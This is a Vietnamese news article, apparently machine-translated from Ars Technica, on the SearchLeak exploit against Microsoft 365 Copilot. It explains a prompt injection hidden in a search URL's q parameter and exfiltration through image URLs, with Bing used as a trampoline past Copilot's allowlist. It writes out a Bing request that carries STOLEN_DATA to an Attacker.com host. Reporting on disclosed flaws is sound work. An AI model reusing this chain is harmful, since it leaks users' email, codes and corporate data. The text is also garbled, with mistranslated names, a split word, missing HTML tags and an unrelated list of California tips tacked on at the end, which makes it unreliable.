Nội dung bài viết
Khai thác SearchLeak cho thấy lý do tại sao cách tiếp cận bảo mật LLM của ngành liên tục thất bại. Thứ Ba tuần trước, Microsoft đã vá một lỗ hổng được đánh giá là nghiêm trọng nhất trong nền tảng AI M365 Copilot.
Hôm thứ Hai, các nhà nghiên cứu đã phát hiện ra lỗ hổng và báo cáo cho Microsoft đã tiết lộ cách khai thác bằng chứng khái niệm của họ có thể truy xuất mã 2FA và dữ liệu nhạy cảm khác từ các email mà Copilot có thể truy cập.
Microsoft và các nhà cung cấp LLM khác không thể ngăn sản phẩm của họ tuân thủ các yêu cầu tiết lộ dữ liệu độc hại.
Nguyên nhân sâu xa: Các bot AI không thể phân biệt giữa hướng dẫn do người dùng cung cấp và những hướng dẫn được đưa vào nội dung của bên thứ ba mà các mô hình đang tóm tắt, soạn thảo phản hồi hoặc sử dụng để thực hiện các hành động khác thay mặt cho người dùng.
Không có cách nào để đảm bảo ranh giới quan trọng này, Microsoft và các công ty cùng ngành phải dựng lên những rào cản phức tạp và đặc biệt được thiết kế để hạn chế hậu quả của sự cả tin không thể chữa khỏi này.
Một lan can bảo vệ được tích hợp trong Copilot và hầu hết các LLM khác ngăn chúng gửi biểu mẫu web, gửi email và thực hiện các hành động tương tự có thể được sử dụng để lấy dữ liệu từ người dùng.
Để giải quyết vấn đề này, tin tặc LLM đã chuyển sang ngôn ngữ đánh dấu, trong số những thứ khác, cho phép người dùng thêm các thành phần định dạng như tiêu đề, danh sách và liên kết vào văn bản mà không cần thẻ HTML. Một cách giải quyết khác là bọc dữ liệu nhạy cảm bên trong các thẻ HTML như và .
Trong cả hai trường hợp, một yêu cầu web hiển thị dữ liệu sẽ truy cập vào máy chủ web của kẻ tấn công, nơi thông tin bí mật được ghi lại trong nhật ký. Một thanh chắn của Microsoft bao bọc đầu ra Copilot theo khối để trình duyệt xử lý nó dưới dạng văn bản thẳng.
Một cách khác là hạn chế các trang web mà Copilot được phép truy cập mà không có sự chấp thuận rõ ràng. Mặc dù Copilot có toàn quyền gửi yêu cầu tới các miền của Microsoft nhưng các biện pháp bảo vệ sẽ hạn chế yêu cầu đến các trang web không đáng tin cậy.
Công ty bảo mật Varonis đã nghĩ ra một chuỗi khai thác có thể phóng qua các lan can này. Yếu tố đầu tiên được các nhà nghiên cứu gọi là Tiêm thông số để nhắc nhở.
Tham số trong trường hợp này là q trong URL, được sử dụng để gắn cờ truy vấn đã được đưa vào. Tính năng tiêm tham số vào dấu nhắc là họ hàng gần của tính năng tiêm nhắc nhở.
Sự khác biệt là lệnh độc hại nằm trong tham số truy vấn, thay vì trong email hoặc phần nội dung không đáng tin cậy khác. Để mang lại Par Tiêm ameter-to-Prompt kẻ tấn công sẽ gửi cho mục tiêu một email chứa URL có cú pháp https://m365.cloud.microsoft/search/?auth=2&origindomain=microsoft365&q=.
Trường này chứa một hướng dẫn. Phi công phụ sẵn sàng tuân thủ.
Các nhà nghiên cứu viết hôm thứ Hai: “Chức năng tìm kiếm chính xác là những gì kẻ tấn công cần, bởi vì ngay cả với khả năng hạn chế, người dùng có quyền truy cập vào thông tin quan trọng là đủ”.
“Để lọc dữ liệu, kẻ tấn công tạo một URL yêu cầu Copilot ‘Tìm kiếm email của người dùng’, trích xuất tiêu đề và nhúng nó vào URL hình ảnh.” Nạn nhân không gõ bất cứ điều gì. Họ nhấp vào một liên kết và Copilot thực hiện phần còn lại.
Thông thường, đầu ra bọc lan can theo khối sẽ phát huy tác dụng. Nhưng các nhà nghiên cứu phát hiện ra rằng lớp bảo vệ chỉ kích hoạt sau giai đoạn “suy nghĩ”.
Trước đó, Copilot đã tạo phản hồi bằng cách sử dụng HTML thô, được hiển thị tạm thời trong DOM của trình duyệt. Các nhà nghiên cứu hiện đã có yêu cầu hình ảnh được gửi từ trình duyệt của mục tiêu.
Vấn đề, như đã lưu ý trước đó, là Copilot sẽ không gửi yêu cầu hình ảnh đến hầu hết các trang web. Để mở rộng phạm vi bảo vệ này, chuỗi khai thác đã sử dụng công cụ tìm kiếm Bing của Microsoft như một loại tấm bạt lò xo.
theo Công ty chính sách bảo mật nội dung thí điểm, Bing là một trong những trang web được phép gửi yêu cầu như vậy. Sau đó, Bing sẽ gửi yêu cầu đến miền do kẻ tấn công kiểm soát có trong yêu cầu.
Yêu cầu trông giống như thế này: https://www.bing.com/images/searchbyimage?cbir=sbi&imgurl=https://Attacker.com/STOLEN_DATA/image.png “Vì SearchLeak nhắm mục tiêu vào cấp Doanh nghiệp của Microsoft nên bán kính vụ nổ không giới hạn ở dữ liệu cá nhân—nó có thể hiển thị mọi thứ mà người dùng có quyền truy cập trong tổ chức bao gồm email, lời mời họp và ghi chú,” các nhà nghiên cứu của công ty viết.
"Tài liệu SharePoint, tệp OneDrive và nội dung kinh doanh được lập chỉ mục khác. Tùy thuộc vào cách M365 được kết nối với môi trường, bán kính vụ nổ có thể còn mở rộng hơn nữa." Như đã lưu ý, Microsoft đã sửa các lỗ hổng mà SearchLeak khai thác vào thứ Ba.
Tuy nhiên, không có cách nào để khắc phục nguyên nhân cơ bản của các SNAFU như vậy, những kẻ tấn công chắc chắn sẽ tìm ra những cách mới để vượt qua các lan can mới được xây dựng và quá trình này sẽ lặp lại nhiều lần. Ars Technica đã tách tín hiệu khỏi tiếng ồn trong hơn 25 năm.
Với sự kết hợp độc đáo giữa hiểu biết về kỹ thuật và mối quan tâm trên phạm vi rộng, tôi Trong nghệ thuật và khoa học công nghệ, Ars là nguồn đáng tin cậy trong biển thông tin. Suy cho cùng, bạn không cần phải biết mọi thứ, chỉ cần biết những gì quan trọng.
Gợi ý thực hành:
1. Theo dõi thông báo từ cơ quan địa phương tại California.
2. Kiểm tra nguồn chính thức trước khi chia sẻ lại thông tin.